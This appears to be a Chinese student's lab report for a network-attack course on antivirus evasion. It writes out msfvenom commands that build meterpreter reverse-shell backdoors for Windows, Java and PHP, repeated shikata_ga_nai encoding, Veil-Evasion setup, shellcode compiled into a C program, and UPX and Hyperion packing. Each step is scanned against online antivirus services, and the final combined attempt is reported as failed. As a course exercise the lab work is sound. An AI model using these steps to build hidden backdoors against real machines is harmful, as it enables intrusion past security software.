2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践

实验内容

任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧

1. 正确使用msf编码器,生成exe文件

  • 使用VirusTotalVirscan这两个网站对实验二生成的后门程序进行扫描。

  • 可以发现,在virustotal70种杀软中,有51种杀软能识别出该代码是恶意代码。
  • Virscan结果如下:



    可见不加任何处理的后门程序能够被大多数杀软检测到
  • 用msf编码器对后门程序进行一次到多次的编码,并进行检测。
  • 一次编码使用命令:-e选择编码器,-b是payload中需要去除的字符,该命令中为了使'\x00'不出现在shellcode中,因为shellcode以'\x00'为结束符

    msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.1.105 LPORT=5317 -f exe > oncemsf.exe
  • 经过一次编码后的文件扫描结果如下

  • 十次编码使用命令:-i设置迭代次数

    msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.1.105 LPORT=5317 -f exe > tenmsf.exe

  • 扫描结果如下:

  • 多次编码对免杀没有太大的效果。

2. msfvenom生成jar文件

  • 生成java后门程序使用命令:

    msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.1.105 LPORT=5317 x> nxy_backdoor_java.jar

  • 扫描结果如下

3. msfvenom生成php文件

  • 生成PHP后门程序使用命令:

    msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.105 LPORT=5317 x> 20165317_backdoor.php

  • 扫描结果如下



    (php是世界上最好的语言!!!!!狗头.jpg)

4. 使用veil-evasion生成后门程序及检测

安装veil

  • 如果镜像是2018的话,在安装之前可以先执行下面的指令,可能会需要比较长的时间
mkdir -p ~/.cache/wine
cd ~/.cache/wine
wget http://dl.winehq.org/wine/wine-gecko/2.47/wine_gecko-2.47-x86.msi
wget http://dl.winehq.org/wine/wine-gecko/2.47/wine_gecko-2.47-x86_64.msi
  • sudo apt-get install veil命令安装Veil
  • 之后用veil打开veil,输入y继续安装直至完成,这期间可能要等待较长时间:
  • 因为网络连接问题和系统不兼容,所以出现了很多问题
  • 首先更新系统,在管理员模式下输入下列命令
apt-get update
apt-get upgrade
  • 然后再用veil打开veil,输入y继续安装直至完成。效果如下:

  • use evasion命令进入Evil-Evasion

  • 输入命令use c/meterpreter/rev_tcp.py进入配置界面

  • 设置反弹连接IP,命令为:set LHOST 192.168.1.102,注意此处的IP是KaliIP
  • 设置端口,命令为:set LPORT 5317

  • 输入generate生成文件,接着输入你想要playload的名字:veil_c_5317

  • 扫描结果如下,可见veil-evasion生成的后门程序效果仍不理想

5. 半手工注入Shellcode并执行

  • 首先使用命令:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.105 LPORT=5317 -f c用c语言生成一段shellcode;

  • 创建一个文件20165317.c,然后将unsigned char buf[]赋值到其中
  • 使用命令:i686-w64-mingw32-g++ 20165317.c -o 20165317.exe编译这个.c文件为可执行文件;
  • 扫描结果如下

6.加壳

使用压缩壳(UPX)

  • 给之前的20165317.exe加个壳得到nxy_upx.exe:

  • 扫描结果如下:



    使用加密壳Hyperion
  • 将上一个生成的文件拷贝到/usr/share/windows-binaries/hyperion/目录中
  • 进入目录/usr/share/windows-binaries/hyperion/
  • 输入命令wine hyperion.exe -v nxy_upx.exe nxy_upx_Hyperion.exe进行加壳
  • (这个地方从图形界面复制一直显示权限不够,怎么也加不上最后只好从命令行来了)
  • 扫描结果如下:

任务二:通过组合应用各种技术实现恶意代码免杀

  • 通过使用半注入shellcode,压缩壳,保密壳生成后门程序,但很可惜,没有成功,腾讯虽然杀不出病毒但是也无法反弹连接,尝试失败。

回答问题

  • 杀软是如何检测出恶意代码的?

    最常用的方法是检测特征代码,恶意代码通常具有一些特定的,正常程序所不具备的代码,我们称之为特征代码,可以通过这段代码来证明这是恶意代码。不同杀软对特征代码的扫描应该是不同的。第二种方法是依据行为来推断,如果一段代码执行后对系统造成破坏或者窥探用户隐私,则很有可能是恶意代码。第三种方法是启发式检测,通过片面的特征来判断是否是恶意代码,但这种方式较为片面,不常用。
  • 免杀是做什么?

    使用一些技术手段对恶意软件做处理,让它不被杀毒软件所检测
  • 免杀的基本方法有哪些?

    免杀可以通过改变特征码和改变行为等方式来进行。改变特征码就是想方设法使得特征码不在我的恶意代码里出现,比如多次编码,或者加壳(不过是不是加壳了之后壳也成为了一种特征码了呢?);改变行为就是减少恶意代码攻击性行为出现的次数,比如说在一个几乎是正常运行没有恶意的超大型程序里植入一个很小的,不经常工作的后门。

感想与体会

本次实验并没有成功,而过程中也遇到了很多的问题,比如说对kali系统本身和Ubuntu的一些区别还是比较模糊不清,veil安装也出现了很大的问题。在解决问题的过程中感觉自己能更加熟练的使用搜索引擎和CSDN等辅助工具,这也是到目前为止,我在大学里最大的收获之一,解决问题的方法很重要。这次虽然大概了解了免杀的原理,但是对于其中一些深层次的东西还是一知半解,导致在做最后的组合性免杀的时候没有成功。另外在本次实验中,我也了解了各杀毒软件的能力和工作原理,还是收获颇丰。

2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践的更多相关文章

  1. 2018-2019-2 20165315 《网络对抗技术》Exp3 免杀原理与实践

    2018-2019-2 20165315 <网络对抗技术>Exp3 免杀原理与实践 一.实验内容 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion ...

  2. 2018-2019-2 网络对抗技术 20165318 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165318 Exp3 免杀原理与实践 免杀原理及基础问题回答 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil- ...

  3. 2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践 免杀原理及基础问题回答 一.免杀原理 一般是对恶意软件做处理,让它不被杀毒软件所检测.也是渗透测试中需要使用到的技术. ...

  4. 2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践 一.实践目标 1.1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳 ...

  5. 2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 主要依托三种恶意软件检测机制. 基于特征码的检测:一段特征码就是一段或者多 ...

  6. 2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践 实验内容(概要) 一.正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ...

  7. 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践

    - 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践 - 实验任务 1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ...

  8. 2018-2019-3 网络对抗技术 20165235 Exp3 免杀原理与实践

    2018-2019-3 网络对抗技术 20165235 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 1.对某个文件的特征码进行分析,(特征码就是一类恶意文件中经常出现的一段代 ...

  9. 2018-2019-2 网络对抗技术 20165311 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165311 Exp3 免杀原理与实践 免杀原理及基础问题回答 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil- ...

随机推荐

  1. ASP.NET Core学习之五 EntityFrameworkCore

    目的:运用EntityFrameworkCore ,使用codefirst开发 一.创建web项目 创建一个不进行身份验证的   ASP.NET Core Web Application (.NET ...

  2. HTML5 web存储之LocalStorage和sessionStorage

    什么是localstorage 前几天在老项目中发现有对cookie的操作觉得很奇怪,咨询下来是要缓存一些信息,以避免在URL上面传递参数,但没有考虑过cookie会带来什么问题: ① cookie大 ...

  3. CentOS安装Supervisor

    什么是Supervisor Supervisor是一个进程控制系统. 它是一个C/S系统,服务端是supervisord进程,控制端使用supervisorctl来进行控制启动进程.同时它也提供了一个 ...

  4. Selenium+Python ---- 免登录

    1.免登录在进行测试的过程中难免会遇到登录的情况,给测试工作添加了工作量,本文仅提供一些思路供参考解决方式:手动请求中添加cookies.火狐的profile文件记录信息实现.人工介入.万能验证码.去 ...

  5. Vue中父子组件通讯——组件todolist

    一.todolist功能开发 <div id="root"> <div> <input type="text" v-model=& ...

  6. 第四次java实验

    java实验 实验一: 要求 Android Stuidio的安装测试: 参考<Java和Android开发学习指南(第二版)(EPUBIT,Java for Android 2nd)>第 ...

  7. js隐藏元素、jquery隐藏、css隐藏

    $("#yh").css("display","none");//隐藏元素 $("#yh").css("dis ...

  8. Servlet(三):生命周期、常用方法、常见错误

    Servlet的生命周期:从第一次调用,到服务器关闭.如果在web.xml 中配置了load-on-startup则是从服务器开启到服务器关闭. 注意: * init方法是对Servlet进行初始化的 ...

  9. Linux中的 openssl-opensslv

    问题 在安装内核模块系统突然出现以下错误 寻找问题 一开始我以为是openssl没有安装,故先进行openssl的检查: 输入yum info openssl 从图中可知,openssl是已经安装过了 ...

  10. 远程连接你的linux服务器

    为什么要远程连接linux 在实际的工作场景中,虚拟机界面或者物理服务器本地的终端都是很少接触的,因为服务器装完系统之后,都要拉倒IDC机房托管,如果是购买的云主机,那更碰不到服务器本体了,只能通过远 ...